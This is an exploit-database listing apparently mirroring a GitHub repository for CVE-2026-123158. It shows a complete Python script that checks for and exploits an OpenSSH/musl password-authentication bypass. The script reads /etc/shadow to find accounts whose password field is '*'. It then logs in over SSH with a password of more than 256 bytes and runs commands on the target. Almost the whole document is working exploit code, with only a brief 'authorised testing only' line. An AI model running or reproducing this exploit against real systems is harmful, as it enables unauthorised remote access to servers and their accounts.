Exploit databaseDownload repository ZIP
GH-cb2fb39baf145b5e9a7776e375d5eefb
hackspeak/cve-2026-123158
Sources for CVE-2026-123158
29 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
hackspeak/cve-2026-123158Revision 6907f1c1ef0b
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
ssh_star_bypass.py
Suggested starting filePython · 6,917 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
OpenSSH / musl password-authentication bypass — checker & PoC.
Affected: sshd built WITHOUT PAM on a musl libc system (Alpine, and other
musl-based builds), with PasswordAuthentication=yes, where:
* at least one account has '*' as its password field (no password set), and
* at least one *other* account has a '$5$' or '$6$' hash.
Mechanism (short):
sshd cannot use '*' as a salt, so it borrows the salt of another account
(2016 fix for CVE-2016-6210). musl's crypt() rejects passwords longer than
256 bytes and returns "*" to signal the error. sshd then compares the
returned "*" with the stored "*" — they match, and the login is accepted.
Local preconditions can be inspected (needs root) with --local.
The remote check performs one SSH password-auth attempt with a long password.
Authorised testing only.
"""
import argparse
import os
import sys
LONG_DEFAULT = 300 # 257..1024 works; 300 is comfortably inside
MAX_LEN = 1024
MIN_LEN = 257
# ---------------------------------------------------------------- local check
def parse_shadow(path):
acc = {}
try:
with open(path, "r", encoding="utf-8", errors="replace") as f:
for line in f:
line = line.rstrip("\n")
if not line or line.startswith("#"):
continue
parts = line.split(":")
if len(parts) < 2:
continue
acc[parts[0]] = parts[1]
except PermissionError:
print("[!] %s not readable; run as root for the local check" % path)
return None
except OSError as e:
print("[!] cannot read %s: %s" % (path, e))
return None
return acc
def local_check(shadow_path):
acc = parse_shadow(shadow_path)
if acc is None:
return 2
star, hashed, locked, other = [], [], [], []
for user, field in acc.items():
if field == "*":
star.append(user)
elif field.startswith("$5$") or field.startswith("$6$"):
hashed.append(user)
elif field.startswith("!"):
locked.append(user)
elif field:
other.append((user, field[:3]))
print("[*] shadow: %d entries" % len(acc))
print("[*] accounts with '*' (no password): %s" % (", ".join(star) or "none"))
print("[*] accounts with $5$/$6$ hash : %s" % (", ".join(hashed) or "none"))
if locked:
print("[i] locked with '!': %s (NOT affected)" % ", ".join(locked))
if other:
print("[i] other hash prefixes: %s" % ", ".join("%s(%s)" % (u, p) for u, p in other))
ok = bool(star) and bool(hashed)
print()
print("[%s] local preconditions: %s" % ("+" if ok else "-",
"VULNERABLE profile (has '*' account AND a $5$/$6$ account)" if ok
else "not the vulnerable profile"))
if ok:
print("[i] also required: sshd built without PAM (or UsePAM no) and PasswordAuthentication yes")
print("[i] candidate login accounts: %s" % ", ".join(star))
return 0 if ok else 1
# --------------------------------------------------------------- remote check
def remote_check(host, port, user, length, timeout):
try:
import paramiko # noqa: F401
except ImportError:
print("[!] paramiko is required for the remote check: python3 -m pip install paramiko")
return 2
import paramiko
pwd = "A" * length
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# control: a normal-length wrong password must be rejected
print("[*] control: wrong password, %d bytes" % 16)
try:
client.connect(host, port=port, username=user, password="Z" * 16,
look_for_keys=False, allow_agent=False,
timeout=timeout, auth_timeout=timeout, banner_timeout=timeout)
print("[!] control login SUCCEEDED — the account has a real password; this is not the bug")
client.close()
return 1
except paramiko.AuthenticationException:
print("[+] control rejected (expected)")
except Exception as e: # noqa: BLE001
print("[!] control error: %s: %s" % (type(e).__name__, e))
return 2
finally:
try:
client.close()
except Exception: # noqa: BLE001
pass
print("[*] test: long password, %d bytes, user=%s" % (length, user))
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, port=port, username=user, password=pwd,
look_for_keys=False, allow_agent=False,
timeout=timeout, auth_timeout=timeout, banner_timeout=timeout)
print("[+] VULNERABLE: authenticated with a %d-byte password" % length)
try:
_, out, _ = client.exec_command("id; uname -a")
print("[+] command output:")
print(out.read().decode("utf-8", "replace").strip())
except Exception as e: # noqa: BLE001
print("[i] authenticated but could not run a command: %s" % e)
return 0
except paramiko.AuthenticationException:
print("[-] rejected: target looks patched, or not the vulnerable profile")
return 1
except Exception as e: # noqa: BLE001
print("[!] error: %s: %s" % (type(e).__name__, e))
return 2
finally:
try:
client.close()
except Exception: # noqa: BLE001
pass
def main():
ap = argparse.ArgumentParser(description="OpenSSH/musl '*' password bypass checker")
ap.add_argument("--local", action="store_true", help="inspect local /etc/shadow preconditions (needs root)")
ap.add_argument("--shadow", default="/etc/shadow", help="shadow file path (default /etc/shadow)")
ap.add_argument("-t", "--target", help="remote host for the SSH check")
ap.add_argument("-p", "--port", type=int, default=22)
ap.add_argument("-u", "--user", help="account whose password field is '*'")
ap.add_argument("-l", "--length", type=int, default=LONG_DEFAULT,
help="password length, %d..%d (default %d)" % (MIN_LEN, MAX_LEN, LONG_DEFAULT))
ap.add_argument("--timeout", type=float, default=10.0)
args = ap.parse_args()
if not args.local and not args.target:
ap.error("choose --local and/or -t/--target")
rc = 0
if args.local:
rc = local_check(args.shadow)
if args.target:
if not args.user:
ap.error("-u/--user is required with --target")
if not (MIN_LEN <= args.length <= MAX_LEN):
ap.error("--length must be %d..%d" % (MIN_LEN, MAX_LEN))
r = remote_check(args.target, args.port, args.user, args.length, args.timeout)
rc = r if r != 0 else rc
return rc
if __name__ == "__main__":
sys.exit(main())